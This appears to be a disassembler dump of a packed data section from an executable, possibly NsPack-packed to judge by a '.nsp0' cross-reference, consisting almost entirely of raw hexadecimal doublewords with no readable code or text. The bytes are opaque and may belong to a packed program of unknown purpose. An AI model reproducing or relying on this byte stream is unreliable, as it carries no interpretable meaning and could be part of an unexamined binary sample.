dd 74664C94h, 1FFD389h, 840F3A00h, 113FA9F4h, 0BFDE0096h
dd 0CA02A0CCh, 30005308h, 0A30D1C64h, 9105CA5h, 0F34E8218h
dd 7DBA5080h, 2409D965h, 8B14285Eh, 126D00CFh, 3A551D89h
dd 0E0835AEDh, 0E9A878F5h, 6952A4F0h, 85C79900h, 77E80810h
dd 0F2C403AEh, 0F42133DEh, 527D23D0h, 0E2399902h, 405A353Ch
dd 91A92C9h, 366E194Fh, 16C0D08Fh, 0A3CDF841h, 2134F600h
dd 0F4107D2Ah, 0C94E00D4h
dd 0E1665EE3h, 0F900E2B4h, 0F3BE9045h, 5D592F0h, 0ED8B9CB8h
dd 0AFF7819Bh, 0CB4FF98Fh, 759733A8h, 4FAA5F2h, 0B73A2274h
dd 84341F1Ch, 0BB38D840h, 3E7C92AEh, 5C00F2FEh, 82EFD7B1h
dd 0F7031B31h, 24A0E742h, 150A0E8h, 0A798009Dh, 3EBF7DD8h
dd 0F53F97B4h, 0FC53801Eh, 75A85BAFh, 0A4E300D7h, 886EA79Ch
dd 0DF7C514Ch, 0B0465A07h, 0ED08087h, 0FAE33C13h, 3D8B002Eh
dd 833F6052h, 0B80011EFh, 0A608577Ah, 3E210429h, 0A0003A45h
dd 5FFC07B2h, 0EA096A55h, 87067174h, 85600A53h, 1D33C25Eh
dd 81F2DD18h, 281536C4h, 0F82CD589h, 0AC907784h, 0D30022FAh
dd 0A51DE87Eh, 5539D9h, 0A4CFAAACh, 0B6AB362Ah, 4ED25005h
dd 7BC04B56h, 888CBh, 0C80DF415h, 0C2F0110Ch, 28588D07h
dd 4540D8D6h, 4495ECh, 6DDB35F6h, 0CF4130D2h, 9D71EB1Fh
dd 0EAB82280h, 3EAEE3h, 44B4228h, 0AFAF9DFh, 8F6A3F00h
dd 8A587B9Fh, 54150027h, 0C7642994h, 5B0033A7h, 1E759546h
dd 15A9Bh, 24871785h, 36FF1491h, 0C306F400h, 8F75D6EAh
dd 0FA5E004Ah, 85F310D2h, 2400CF3Ch, 93DBE848h, 0C65F49h
dd 0A73079D7h, 1FB9BF0h, 2B887700h, 317B53BBh, 7557D6Eh
dd 0F96AB121h, 0D0F84768h, 82F50928h, 29891600h, 9ECF0D45h
dd 0C001FEC8h, 0B94CB70h, 0CD0099F4h, 517FEF62h, 0A15803h
dd 0E474B118h, 846C1614h, 4F268BF0h, 0D2001180h, 0AD44C4DDh
dd 276F3CB7h, 0FC773E00h, 10428EB2h, 0E9894A00h, 931675F2h
dd 157A25h, 6950C7B1h, 23ABC28Fh, 5D400200h, 53992444h
dd 0DF785C41h, 0D2F63200h, 0D49B0309h, 864630Fh, 69FF000Bh
dd 44CFCCh, 0B94B851Ah, 1452965Bh, 0E6BA5600h, 13505358h
dd 9C780089h, 4AA574F1h, 310229BEh, 8D2A0746h, 45244054h
dd 37120143h, 3570A985h, 7378F456h, 74160800h, 9CAE0D24h
dd 9A5E0EE4h, 834023A0h, 0BF42AAA9h, 21D62D00h, 0C5521ACAh
dd 6A290007h, 0C6644367h, 0CF0034AAh, 5076A3B3h, 3C20614h
dd 0A6F0997h, 0CAA11A9Ch, 983DF005h, 165C6B7Bh, 15C500E7h
dd 6EC81D33h, 45ED3D3Bh, 59348200h, 5B782406h, 744A6000h
dd 63C27A12h, 10771Fh, 64B82D15h, 0E719BB77h, 0B40A7200h
dd 9427F8FCh, 807100E0h, 3C6C37D2h, 0E20085F5h, 0FB876B8Dh
dd 0FC097Dh, 0CEFAC922h, 0B39AC574h, 9CD55A00h, 0EF4903E8h
dd 2B120F5Dh, 0D0944BC7h, 80D7B31Fh, 6D20D429h, 7807431Fh
dd 94FBA538h, 56E2B800h, 0D25A000Eh, 0E4471019h, 66037488h
dd 0A1E614C5h, 0F26F935h, 0A8AEB40h, 2851001Ch, 90135D1Dh
dd 0E200143Ch, 72A0DC24h, 0BF8215B0h, 1EEAAF8h, 28037575h
dd 835C3C2Ah, 0C076FA2Dh, 50C065h, 2143BE8h, 0D344E7B1h
dd 0DC199C00h, 921C298Dh, 0A94909D4h, 0EC83A116h, 4EE05DAFh
dd 3E7EB089h, 33705700h, 3593D588h, 97B50369h, 2C5F256Fh
dd 2B29C7A8h, 34A1A400h, 525BDB8Ah, 0E391006Eh, 882FB580h
dd 4200D621h, 0D0396147h, 675B0Ah, 689FC274h, 282D35D2h
dd 88595D16h, 389E991Ch, 601CA18Fh, 10FAE72Ch, 1E3700F1h
dd 96303611h, 6800C020h, 80284D53h, 979EA5h, 184FEA8Fh
dd 0E555012Bh, 0C7521400h, 8BEC04F4h, 947A35h, 0D025608Ah
dd 9B2341BEh, 9864B600h, 8B16116Ch, 53040748h, 62F5AB7Dh
dd 9E02368h, 0DF0093F7h, 0D89DBFEDh, 0EAD544FEh, 89AA00A3h
dd 40191802h, 58001A10h, 32C78E66h, 0B92B16h, 68444260h
dd 73CA11ACh, 3326040Fh, 5AF9E00Ah, 8E3210h, 89D02B09h
dd 0E299868Ah, 688BD100h, 98FF85F6h, 0C4C500F7h, 54913CA3h
dd 41003BEBh, 0A5C70334h, 1DEE6151h, 40AD5708h, 8045A268h
dd 6C243B33h, 0C0F7B24h, 855E20F8h, 1E12DB9Ch, 0CEB28B61h
dd 378040A3h, 3DAB0813h, 6F07100h, 0C65C035Dh, 51EB002Fh
dd 0D9981B7Fh, 0DC3FEA46h, 0C8D200FAh, 0A44B6BE9h, 5E7600B5h
dd 6240FF38h, 0E800C1C2h, 8474DB42h, 72011Fh, 0A048F723h
dd 11EB03E9h, 99FCBD07h, 0A1C0C266h, 0FE38019Dh, 90680015h
dd 0D3BF976Bh, 4B07C837h, 0A91EB06Eh, 142559C0h, 0FCBC015Dh
dd 0F1D03449h, 0C38D033h, 22E4E21Dh, 6E7DDBC0h, 7E1960Bh
dd 2F571327h, 51B8E010h, 9E3E18C0h, 21C026Dh, 0E06FE80Bh
dd 4E1660h, 0BA673021h, 0E52E70A4h, 8CBBE000h, 85340F0Ah
dd 0E3C001EEh, 22A05CA1h, 18C4D428h, 2052E51Eh, 2B27C880h
dd 0EFD00Ah, 0BE848D4Fh, 0C7751D83h, 0A5F2D700h, 0FEF40E48h
dd 67397BE9h, 0A021C80Dh, 5F0B0CA8h, 0D55EECFDh, 4B04E600h
dd 0B057A384h, 972D00E1h, 70895130h, 94900853h, 5C81B800h
dd 0EA18212Bh, 4352008Eh, 9747DE1Dh, 95009436h, 0A1F146A9h
dd 9685502h, 927C86DDh, 0BC210B80h, 563C75FDh, 0C289F3Dh
dd 0E91EF8C0h, 79ECA419h, 30C700F5h, 0AFAA50BCh, 4C00C641h
dd 0B82386D6h, 3ACF28h, 6760C5F0h, 169A310Dh, 0FA4FFF26h
dd 50808303h, 99E8C83Bh, 0CEA0078h, 0FF892EE4h, 88A0877Bh
dd 0B77DAFF4h, 0B6902501h, 0DADF4CD4h, 0E479B70h, 0D36948B9h
dd 0B8181B00h, 410578A4h, 0BA1C09A0h, 359ACE80h, 5B30007Dh
dd 80B81E20h, 85E2E576h, 22B0D00h, 0FFFEC63Dh, 0FD250016h
dd 0AEB617B4h, 580078C0h, 5E306840h, 1500E87h, 21B3EDEBh
dd 0F1B28C91h, 0CCD721CBh, 2B005A75h, 6A151F5Ch, 90D4B957h
dd 3B9607AEh, 677AFACDh, 6D33A0E7h, 8A006AEBh, 1C781532h
dd 328890Ah, 18452059h, 1DE8F0FBh, 4A7AC7EAh, 80006BF6h
dd 1CC20978h, 3D1FB80Fh, 0E85F425Bh, 0F82B007Eh, 103D2583h
dd 0A3750F44h, 6467D462h, 0C71103Ch, 1700EAB9h, 0CBD53E13h
dd 0BA3B009h, 6167DD1h, 404B5A07h, 0C9250C15h, 3910171Eh
dd 0B56CE140h, 51B7C4h, 6348921Eh, 82A5083Dh, 8014773Ch
dd 0E5EB4A17h, 2CE3124Eh, 0E1C399h, 2FE81504h, 3B72DFEEh
dd 1B29DB1Ch, 0E0A6058Fh, 79B5767Dh, 0FC4400A4h, 7068D9FEh
dd 0A200854Ch, 2F20D20Bh, 3A8A1Fh, 42C74555h, 0E932BB3Ch
dd 150C181Dh, 4FCB7A40h, 0ED3AC71h, 0C2C38449h, 37568D80h
dd 0A1003805h, 0C926486Ch, 2D60E4h, 68301E40h, 8528A0FFh
dd 0A8B20100h, 0B4D7504Ch, 6BC00ABh, 0CAC13994h, 14003589h
dd 54886D45h, 2AA450h, 48992FB0h, 0EB89E02Dh, 39E6B00h
dd 0CB612CCAh, 0FA3D003Bh, 99407422h, 4F1E086Dh, 2B001B93h
dd 0E78253E3h, 9550247Ah, 3FF30052h, 0FCC8BAB2h, 16F6AD0Fh
dd 0ACB3C7CBh
dword_4F0044 dd 40CC4830h, 29A300A2h, 1D880201h, 17003A8Ch, 28262CB8h
; DATA XREF: .nsp0:0043FD14o
dd 0A0BD98h, 0BC07C341h, 84CC501Ah, 9CDB4E00h, 635EAFE9h
dd 2E47AE3h, 0C95A8A26h, 70C3ED7Fh, 5EC0CB98h, 0AC9E2C3Dh
dd 900480B6h, 5AC02D89h, 98ECCEF6h, 586179F5h, 2008DBDh
dd 898F0C6Dh, 0FC002938h, 4F63CE5Eh, 0A32630h, 0C273A517h
dd 25228A6Bh, 0F90068EAh, 0CCEAD723h, 6AFDE6h, 8AE7C928h
dd 0A581CE09h, 2CE6DA79h, 87170501h, 350304CCh, 0C037C03Bh
dd 3800E87Fh, 0C7014EBDh, 3F7794h, 0AC9E6C7Bh, 97E548AEh
dd 68335500h, 720AF2C1h, 0D4C40BC8h, 80D753E7h, 711F1C24h
dd 766C0012h, 4BBC324Fh, 0A50014D1h, 0C8D8D707h, 6457EAh
dd 1328F7E4h, 8FCA2443h, 763D2673h, 62960090h, 0AFD394FDh
dd 0F3010069h, 672710B8h, 0DEFC5B9Ah, 250066F0h, 1904532Dh
dd 451586h, 96BAB30Eh, 4F52A985h, 1DC2F94Ch, 0B05F07EBh
dd 7800CA2Ch, 17883CE5h, 5B2F0769h, 203064C0h, 0ADA454A8h
dd 0B9E5A207h, 8DC71087h, 6E2F8190h, 2D2B00BEh, 0CD3788B0h
dd 4C025A8Ch, 0CF584A1Ah, 52F080A7h, 0C6F87Bh, 0D1940584h
dd 4A0F7D44h, 0A30FDBB8h, 0A0A15111h, 0B25D64AFh, 6BDF00A6h
dd 6A5FD289h, 0D1CE3C5h, 75809B7Eh, 0ECFFF4A2h, 32A7E16h
dd 64971310h, 12E0ABBDh, 930C74Ch, 0B1C8CC8Dh, 7645002Ch
dd 8697E23Fh, 2A0013EBh, 52ACF19Fh, 50F9D4h, 0A9837D55h
dd 0A87A1F6Bh, 0B24248h, 0A7C3DE2Ah, 3C11297h, 0F0072809h
dd 0C50AEEh, 521502E1h, 0A012DA55h, 8301A6A5h, 9CFF305Ch
dd 3C1B7BCCh, 7FC1486h, 1CF83101h, 0C21AF052h, 0EA01C1D0h
dd 0B52C0318h, 0EBE99473h, 0AD5CE0h, 0A549774Bh, 0AE752E08h
dd 0D65BE900h, 2DAB5612h, 1657824h, 0F85AD836h, 0E43C5EC7h
dd 0E00B414h, 95FFE843h, 20A889h, 8D5CEA9Bh, 0C8B3A7F6h
dd 7275C312h, 0C0331FEFh, 11801CA3h, 8474100Bh, 9E7E8C3Bh
dd 30007958h, 86C3298Ah, 34220064h, 6C2BC187h, 1C00237Fh
dd 0B393BA8Eh, 3CF5F84Ah, 0F513E5h, 1930F2E8h, 488A3C53h
dd 6A0012FAh, 0AE16D41Ch, 0D641F8h, 172DF2BCh, 0F7143A03h
dd 6F88C401h, 10086977h, 7E297Ch, 20C58319h, 0DC7E1C5Ah
dd 0AAB8C407h, 0A0B0F5D3h, 1F928E08h, 408B7552h, 0D74D2C14h
dd 0F81FE297h, 87814E10h, 64C10508h, 7256E4h, 0BE13D44Fh
dd 331C9D54h, 6B007F71h, 0F7E623D3h, 92EB8F0h, 52843CBAh
dd 10213C87h, 958F90B9h, 91921D0Bh, 80B68B09h, 98048BEFh
dd 396D39D3h, 0F3D55580h, 523C76B9h, 0DBC0E00h, 510203C4h
dd 0C23B3E0Ah, 7BD31080h, 40143B0h, 0EB349A1Eh, 0F8E76783h
dd 14B3CF60h, 8305F898h, 750F00FBh, 0ECCC72B7h, 1982BCEh
dd 829F3Eh, 1B4A6C84h, 13A2A39Eh, 0B1DC96h, 98957FD2h
dd 0C80238D4h, 30B4D26Ch, 4201E022h, 34990004h, 8C5F3FB8h
dd 7E001F0Ch, 9AA2FF24h, 1F49D85h, 0EB0BE4EAh, 0D0A1154Eh
dd 0F600DA3Bh, 8273E90Dh, 3D6F44h, 0A0B33F4Ah, 6540CE5Bh
dd 80B9101h, 0E5ADF0D2h, 0F034B7FCh, 0C59C01AEh, 891245D8h
dd 28CD4098h, 92009A9Dh, 0F529B23Ch, 39CD042h, 0CA6846BFh
dd 89F8210Dh, 0F1039659h, 0B1C2B0D4h, 6D6FE0EBh, 412607B4h
dd 0D017D93Ch, 0F4373266h, 0EC99DD00h, 4D7249C8h, 197002FEh
dd 20A1824Ch, 7E023AE0h, 0B583C700h, 8C2A8D58h, 27230054h
dd 0F2A5299Fh, 800BAC2h, 0B4A93ADFh, 6BA41Ch, 802DEB43h
dd 5134C3A6h, 5F60FF01h, 70E0609h, 3E4287D8h, 25010215h
dd 911F6850h, 0DB83E055h, 2FB97B00h, 567E7ADAh, 0C89C074Dh
dd 1F5D5CE0h, 38C75060h, 0EFE8588Ah, 5A260D01h, 32205F74h
dd 15A5B340h, 10240009h, 438D55C1h, 3600352Ah, 19AAA034h
dd 900D9EFAh, 2C493926h, 44A94603h, 9A984B81h, 0EC0F7D38h
dd 0E5197515h, 0F38009D4h, 170880h, 2EAF2695h, 4CA7101Ch
dd 0EC3C2207h, 9F0402Ah, 0C777E8h, 99A152BDh, 0C612B39h
dd 30500600h, 6BE6AEBCh, 29E00DBh, 0A02174C7h, 0B70B0F1Ah
dd 80A41840h, 177C610Fh, 160A005Ch, 7EC05FC9h, 0EB0097F4h
dd 34502CBEh, 5864BBh, 698592A8h, 94A791DBh, 9522721Eh
dd 8EF6BD80h, 3DD1DDDAh, 8C004BD7h, 2C0806A4h, 89030984h
dd 55437850h, 0E06AB830h, 2F1D00EEh, 0FCDEC301h, 4000DFCBh
dd 0B7C766EBh, 0FC0A9E0Ch, 7F484h, 144604DDh, 0A1081DD8h
dd 0F46F2439h, 0FF00FBFCh, 6DA1876h, 1D8E7F78h, 40CF8B7Bh
dd 0D04AA613h, 0B300DDFAh, 0B871F7C2h, 1CB4AF4Bh, 3FCC0619h
dd 4C358B80h, 214A7E64h, 9A07787Ch, 0E8BC5C0Ah, 0F0F87CE0h
dd 0C54F07B2h, 80477349h, 0ED84B90Dh, 8C7A8616h, 0A1F03400h
dd 167F425h, 2F2DC55Fh, 0F59E8351h, 6688F405h, 53153707h
dd 24E57593h, 8B3BB0C0h, 5AF10728h, 0E0609749h, 365D3857h
dd 3F529B00h, 0CF4404B4h, 0A3EA5Ch, 0B24E944Ah, 21565762h
dd 0EA73AE00h, 381625C4h, 8F1800D2h, 4267E37h, 920E459Eh
dd 0C0318E2Fh, 4A0146E1h, 0F2EB004Fh, 511DDA73h, 0C400132Ah
dd 79642FECh, 81D817h, 0B6B2ACF4h, 2B334DCCh, 54B31D06h
dd 3BC51E0Ch, 119D211Ah, 89190034h, 0D1AD0868h, 2CA92300h
dd 4930900Ah, 0D8C10F96h, 7F407E83h, 70687705h, 0E0185E00h
dd 453020C8h, 28663B40h, 2B344207h, 1525400Ch, 570F12BEh
dd 0FD23BB8Eh, 0BA9FC783h, 0B745D0C9h, 8FF092h, 0BF06CAB6h
dd 0C0DE2090h, 0D3FF1E00h, 0BDC8558Dh, 6FC1007Eh, 29CC1317h
dd 561F6119h, 88000C49h, 35941D55h, 89B0047h, 66929EA4h
dd 2116739Dh, 3D0029E2h, 97A38289h, 68A200B4h, 579B6C4Ah
dd 553B9894h, 0B12400CAh, 589C5172h, 3C0F7DEBh, 6A00F277h
dd 0CE70DD5Ah, 0E23D45AAh, 0D15C00A0h, 0FCF57226h, 3446007Eh
dd 0DA4714F2h, 0F7F8F424h, 77AA1960h, 2B9AF9h, 0DB99FE45h
dd 0B86F28AAh, 461B6000h, 0C8D42F20h, 81080025h, 0ED0A2923h
dd 8CF05290h, 6A71140Bh, 1E43006Dh, 0F1811EAh, 0FCA2E953h
dd 0A09F13C3h, 88F680A7h, 0E800B0ECh, 66A05F1h, 2413CE5Eh
dd 0AD6C7Ch, 59A94E82h, 0A20E9048h, 40A14434h, 2058B9A4h
dd 5EA5008Ah, 0CBAB920Fh, 0DD0124C8h, 52501121h, 25611C18h
dd 2E745E0h, 0F5289833h, 0DD601D02h, 0F978DD31h, 0F048998h
dd 820CD054h, 8AD5B080h, 24B70037h, 49E65906h, 630061BFh
dd 0AE121D58h, 980E4427h, 0E8DE4A4Dh, 0BE870001h, 89DFFBFAh
dd 0C18500CFh, 151F57FEh, 67008F17h, 0B9EF4548h, 8FC0Bh
dd 1C5DCAFAh, 3E9E055h, 0A468D900h, 81D4B785h, 0C4900029h
dd 21718A23h, 38054424h, 5EEE1D0Fh, 0AA1ACBC0h, 0C4AD0064h
dd 0A5949E51h, 7B1E09FFh, 0F5DE421Ch, 6843AEC0h, 0E1F532Ch
dd 0A8DBC816h, 0BAD61C61h, 0F12AF024h, 810726FEh, 31400689h
dd 0DA534540h, 3421001Bh, 381CDE71h, 0F200C485h, 11173C72h
dd 744C8EEh, 23E2475Ch, 9D13604Ch, 0E54C49E4h, 0B2F1E4Eh
dd 0BE644AC2h, 84F5403Eh, 4B345C56h, 50B8BB00h, 60318925h
dd 7327EB00h, 3D80DE04h, 20BA008Ch, 37E805CCh, 8D0093F1h
dd 10739BC7h, 8B9A0Dh, 5CCDD5C8h, 2E4104E4h, 79656B00h
dd 0C4D9F5C2h, 0F0723967h, 6C696687h, 5C30F0EBh, 0D0094C0h
dd 0E0221E75h, 7542320h, 8A53C379h, 70818027h, 9300B57Ah
dd 9A61F265h, 6ED60Eh, 196D323Eh, 77592B68h, 7DB7BF00h
dd 0DC25E1Fh, 0D60401C6h
dd 0C08B4281h, 109560F8h, 5407ECF0h, 49EAAF97h, 8E41D0C0h
dd 8C8B0380h, 23DD5CF4h, 58D89490h, 52510F00h, 9FB35D2h
dd 0E68E009Ah, 0A6E9661h, 3000C481h, 604FC319h, 158D13h
dd 23515092h, 0AD90BC10h, 0A38A900h, 21DFDAEh, 89D838FEh
dd 0C108071Eh, 14100E0Ch, 207D2016h, 0E09FBE70h, 7A706014h
dd 0C0A00380h, 910129E0h, 44022290h, 89040300h, 18251505h
dd 310E214h, 84820636h, 0A9309E2h, 0CB30BA3h, 0ED30DC3h
dd 10F30FE3h, 80A711F1h, 51C1124Eh, 0E56D18Bh, 5780882Eh
dd 44A3900h, 53063572h, 0A09DF8BEh, 188A00B8h, 5C882840h
dd 0AA009CADh, 5808420Bh, 0E6D8B7CBh, 318107EEh, 0E04FFFE7h
dd 47AFCC7h, 0FE031B00h, 5CD72F89h, 783B6014h, 9A0FD273h
dd 27017279h, 0CE2B1080h, 70D4E8D3h, 790101A4h, 9125CF37h
dd 0B9803E0Ch, 896182h, 0B5595E3Eh, 32DC1F6Ah, 7FC0AD1Fh
dd 0EBBC8100h, 7911ABBh, 17410D88h, 8C1E6082h, 29000525h
dd 2402D6F8h, 0C82D66h, 505553B4h, 22579856h, 0F00FB901h
dd 612EA2AAh, 0B89D8DE0h, 0F6810054h, 0BC8BABF3h, 3E00E92Fh
dd 0F4EE3B13h, 5E76F0h, 5A8FD15h, 8C5C8B38h, 4CFC831Ch
dd 40430800h, 6089C53Bh, 0B9EBE819h, 0D006117h, 0F7282474h
dd 7440698h, 62336815h, 0C71CD0FFh, 17CC849h, 890080ECh
dd 656A8D18h, 0E0142708h, 2C340696h, 0D403E0D3h, 13DE8100h
dd 0C43EF101h, 5187000Fh, 30B5788Eh, 0A870EC7Eh, 33C5D00h
dd 10F983C3h, 27DB0h, 6C24C040h, 758B4D7Ch, 6DC9A41Fh
dd 0ED9CE6C1h, 0C1C848BAh, 1AEE0062h, 3E8025CEh, 300CB2Bh
dd 0D88A28FBh, 0DAE9B9h, 0BD766C89h, 3981BF34h, 0BB661007h
dd 89FB0714h, 0CA70809Bh, 320FE49h, 7B4ED87Dh, 0EAF0DFAAh
dd 4A00A284h, 401A025Dh, 5FC49h, 7E09CA32h, 299BA9B5h
dd 0F049800h, 4295628Dh, 0FF960367h, 320DC0B6h, 26985B98h
dd 1F046973h, 23824B11h, 61C98B80h, 0F13B1EEDh, 26807EB4h
dd 0C12FC88Ah, 4200229Fh, 8F2A8894h, 84BA6Ch, 0C896809h
dd 373B0D87h, 0BCE2B328h, 47210A1Fh, 1F4C5E67h, 0FAC89741h
dd 0B0AD3800h, 0BD1C01h, 579CFFD4h, 788306C7h, 7208C100h
dd 8AA0EF30h, 26410111h, 0BE055488h, 0E648DCFBh, 8E12400h
dd 14CA6AE2h, 0DB00950h, 0B680F8C2h, 7817AEEFh, 7334F900h
dd 2EFC27D0h, 1FC4E24Ch, 4280CA2Bh, 0E325DC49h, 5CA65AC0h
dd 64A42201h, 29279612h, 80C8D4h, 0DCC0E407h, 111C8A1Eh
dd 0EBD38700h, 2C46103Bh, 0C30A3973h, 0D21B2800h, 0F3FF9278h
dd 30143F00h, 2FD707AFh, 208C0ABDh, 1F8E3418h, 38818108h
dd 0DC110D12h, 2EF03C02h, 0E8B0F00h, 843079C9h, 896F00FAh
dd 961C410Ah, 431F18B9h, 0E680C371h, 0DABDE85Fh, 62044C97h
dd 8E8BC107h, 31745389h, 598125D0h, 6212F400h, 4068D233h
dd 70BCE6B7h, 1689007Eh, 9B2C888Ah, 957B65B8h, 7AA41C18h
dd 3E3DAh, 0F8804037h, 91E6723Ah, 4F8D98C0h, 3B685063h
dd 0E8001FD1h, 0B942F7CCh, 38015878h, 0E57A08Fh, 30E40820h
dd 13900085h, 8941C021h, 0A4006087h, 50C4E6Bh, 5B0FF5h
dd 81DEB9Bh, 0E25ED112h, 757D605h, 0C0BE8D43h, 9CD7F219h
dd 0E3AD2C03h, 0E882E266h, 90A80C54h, 44A23CF7h, 0BDB99D8Eh
dd 25013C0h, 527E5411h, 5295800h, 0C4860CDh, 0FAA6005Ch
dd 0E8AACA81h, 967D8F18h, 27315F1Fh, 8B1103C3h, 8D29C8D9h
dd 0CA6B0069h, 71CDD1C1h, 8A0055D0h, 1D4899BCh, 136BB28h
dd 6A2C53ABh, 0D10A34AAh, 8864F404h, 9C1C024h, 4D008316h
dd 8DED7213h, 2198BBh, 502FF3D5h, 4BF16E87h, 0B929907h
dd 0D200F35h, 2C35943h, 6D316C62h, 8840098Dh, 15017310h
dd 5203EDF3h, 0B0FC148Ah, 0E2800FD0h, 1C0F4Ch, 0EB462434h
dd 28007560h, 59A66A7Fh, 0C08318h, 4E7EF203h, 0F5FE8111h
dd 48C07DE0h, 4823344Ch, 0D8880075h, 0EA7F2C4Dh, 3679EB32h
dd 96821100h, 2D94036Ah, 0CF63Fh, 990E072Bh, 1C13770Bh
dd 0C6501700h, 46E024A3h, 71480F65h, 0FC020EDh, 7B2738Ch
dd 920EB700h, 104B053Dh, 0AB3A0052h, 24848D0Ah, 0A4003B29h
dd 5045578Bh, 7C0C222Fh, 311718Ch, 3546D251h, 0BE02BC0h
dd 640083C6h, 80DD98DFh, 0FA0451BCh, 2E7505CDh, 0C005DAFDh
dd 2407EB80h, 39331B48h, 651200F5h, 0BE54D21Ch, 0E0587D6Eh
dd 3D104C88h, 0F7754E01h, 304A43B1h, 0B476E849h, 5E9BDC00h
dd 0A0B8EEF0h, 0E182009Dh, 5DEAEC83h, 0E90008E2h, 85C3C7CCh
dd 97908Dh, 8814577Ah, 5D6558DCh, 10056703h, 9843860Fh
dd 0E2324E52h, 0E03D7668h, 13730026h, 0D6881BDBh, 0C30041A2h
dd 2303C5A7h, 9314E9h, 4FD03530h, 0C9FB830Fh, 68054100h
dd 1E88BF1h, 971129Ch, 8D0600C1h, 0A3422E31h, 6500700h
dd 21BF145Eh, 3D8EFADAh, 44D8AC33h, 84E2F00h, 980990F4h
dd 0E9AB1000h, 32729B23h, 3C70BD2Ch, 5A8DCB00h, 0C1A9C14h
dd 9A1501F5h, 0C2563DCDh, 7BD62011h, 0CE08F701h, 2CBFC39Dh
dd 0C5CDD0C7h, 0D6C100CFh, 6763EAD3h, 0C6FC8935h, 946DE407h
dd 80C092DAh, 0F4887Ah, 0D741529Ah, 0CA03140Bh, 89770600h
dd 868A2411h, 8B40072Dh, 8068AE9Ch, 95FA76C3h, 906CC41Ch
dd 74F07EB8h, 0FF0083F6h, 715A7203h, 1E8D0502h, 44FD6Fh
dd 4163166h, 0C13C2EC5h, 6B2400E2h, 0A252C26h, 1AB4002Fh
dd 314A2789h, 0B0EBDE6h, 80F8C183h, 57BA538Eh, 8C93008Bh
dd 6A733882h, 963D79CFh, 0C881002Bh, 0EFD3C503h, 80461E18h
dd 0E74387CDh, 8A19F24h, 0D7E40130h, 0F81CF6E8h, 5B5AEB00h
dd 0A86C9A14h, 0BD850920h, 0AC0EA746h, 2EDBD480h, 0D005AD7h
dd 25B3AB45h, 71D82C1Dh, 856A00A0h, 7303FB01h, 8C008B1Ah
dd 5AB5629Eh, 0F2300C0Bh, 0BF1900E5h, 0EB115194h, 8600FD1Bh
dd 1552C862h, 0F21FBB4Ch, 58D40089h, 0DDB17F1Eh, 500E8E88h
dd 40B00644h, 8D413914h, 3B381D8Bh, 0DE9707C2h, 2BD00024h
dd 8A3C40D1h, 50880312h, 0F0693FE2h, 3907B8Bh, 96C70391h
dd 0C9F0BD13h, 0CE39FC0Bh, 80A5BEB1h, 43B1CE3h, 0F286Eh
dd 0C6AFC382h, 2C1347D2h, 6400FAB0h, 0C217AA83h, 4CCD1852h
dd 0AB00E428h, 69B03CE8h, 850341A3h, 78843888h, 0CB47C370h
dd 441007C4h, 0F0BB1173h, 1D4BDD82h, 9B00D271h, 27E75AFDh
dd 0D190C3h, 406A8726h, 1E100668h, 84E3F900h, 2C1F62BAh
dd 758EB002h, 307400F7h, 2E258380h, 0B53CF18Bh, 0A8178044h
dd 15E1A7FCh, 3E860EE6h, 12C04BAFh, 37208A5Ah, 0A11C51E8h
dd 5FD73B11h, 7C543700h, 767E532Fh, 0B097FCEh, 57428758h
dd 30ABA580h, 35E8142Bh, 102CA907h, 8520BC5Ch, 5155E9h
dd 0C8807F8h, 743D6224h, 4053FE00h, 70358B77h, 31300CEh
dd 0EB0D68CCh, 8D00632Ch, 8309811Bh, 657EE9h, 0A21D03ECh
dd 0D0FC5F12h, 0C6A63F00h, 0EFF91708h, 46F20Bh, 0FCF80FDh
dd 0B8C1D9B7h, 83F2B900h, 2743EC7h, 822F0087h, 2757E181h
dd 0D900C958h, 0C13BE440h, 1F7726h, 0DD021D6Eh, 0FA18D2CBh
dd 0BA965307h, 62C76F0Ah, 0EB1901D0h, 4C917A08h, 923DC229h
dd 0BA754F81h, 70C71EE4h, 0AA3A97A1h, 908B80ACh, 4BE84001h
dd 0F2530094h, 825A5B1h, 970E68B8h, 5E195DEDh, 78CB0E00h
dd 387225Ah, 56824C75h, 539B425Bh, 724D45A8h, 18DB7F00h
dd 24945A48h, 55890112h
dd 25E2E3AEh, 8FD040B9h, 0C00293Bh, 97ADC65Fh, 6BC572h
dd 0C45B18A1h, 58A5DA88h, 95846007h, 0FC0010C6h, 800203h
dd 0F3E4E938h, 11C9798h, 0C23A8300h, 0C7405674h, 4A9300D4h
dd 4C35B20h, 48000D7Bh, 0DB2A5E52h, 17A95AAh, 6F1CA5A3h
dd 0E8744DCEh, 0B80037D4h, 97778AE3h, 839023h, 4DFF0C05h
dd 0F5C1C4F8h, 0C531EC00h, 4A8DCA7Fh, 70291FEEh, 9CEC0E9h
dd 0ADDC071Ah, 7100D9F4h, 0AEF00CB1h, 3FF45174h, 0EE8031CBh
dd 8DA6C6ACh, 821D27AAh, 14C0C3F1h, 0F5F20195h, 5C8500F6h
dd 0DD54029h, 9200519Dh, 0B2523E4Bh, 3E9A776h, 29E5F810h
dd 0FCB8401Ch, 0ED58DBE8h, 0D5371E65h, 89F4B841h, 3CE702F0h
dd 0B10FC458h, 8280A605h, 87453D80h, 6F936400h, 6D37803h
dd 20050055h, 2608A11Bh, 44006209h, 9811B34Ch, 7E750664h
dd 270C070Dh, 70B68DBFh, 8CF61471h, 541A1500h, 0AC2EDC8Ah
dd 789005Eh, 0A96C7952h, 44007C34h, 0E8170509h, 7AD95F7h
dd 804893D8h, 875C05Dh, 141FCCD3h, 6C02CA3h, 18F7C62Dh
dd 1D890017h, 0F9533BA1h, 0A6EC32CEh, 0AC21DE00h, 79E3184h
dd 0A8363997h, 1D803AFAh, 74300E80h, 0B8327563h, 9D607700h
dd 5CD24DB3h, 580A00B9h, 649C100Bh, 840F94A7h, 20309FAEh
dd 42A9A824h, 0FF011E53h, 5780405Bh, 6F646E69h, 734B7705h
dd 0C580DCAAh, 1353925h, 7FE43B7Dh, 7E4F1219h, 60C5AFB0h
dd 0BD3822C8h, 0ED7FD0F6h, 4548FC7Eh, 4D9F0031h, 4E433C69h
dd 33F80154h, 7542252Eh, 344E7095h, 8057900h, 2306A32h
dd 58700060h, 10258050h, 4C00FCBFh, 0C9987ECBh, 0F2C1997Fh
dd 36BC002Bh, 29A97B84h, 0F4F4497Ah, 0DF535700h, 48E71CBBh
dd 3E79722Dh, 2E00760Ch, 95D7F2F0h, 0B5001B7Fh, 0CAFF50D3h
dd 0DF7126h, 33CD9214h, 474F5455h, 6843EC0Fh, 27A0008Ch
dd 1A40A9h, 7D017F2Eh, 137534F8h, 5AD37B03h, 1E9DECh, 64ABFA10h
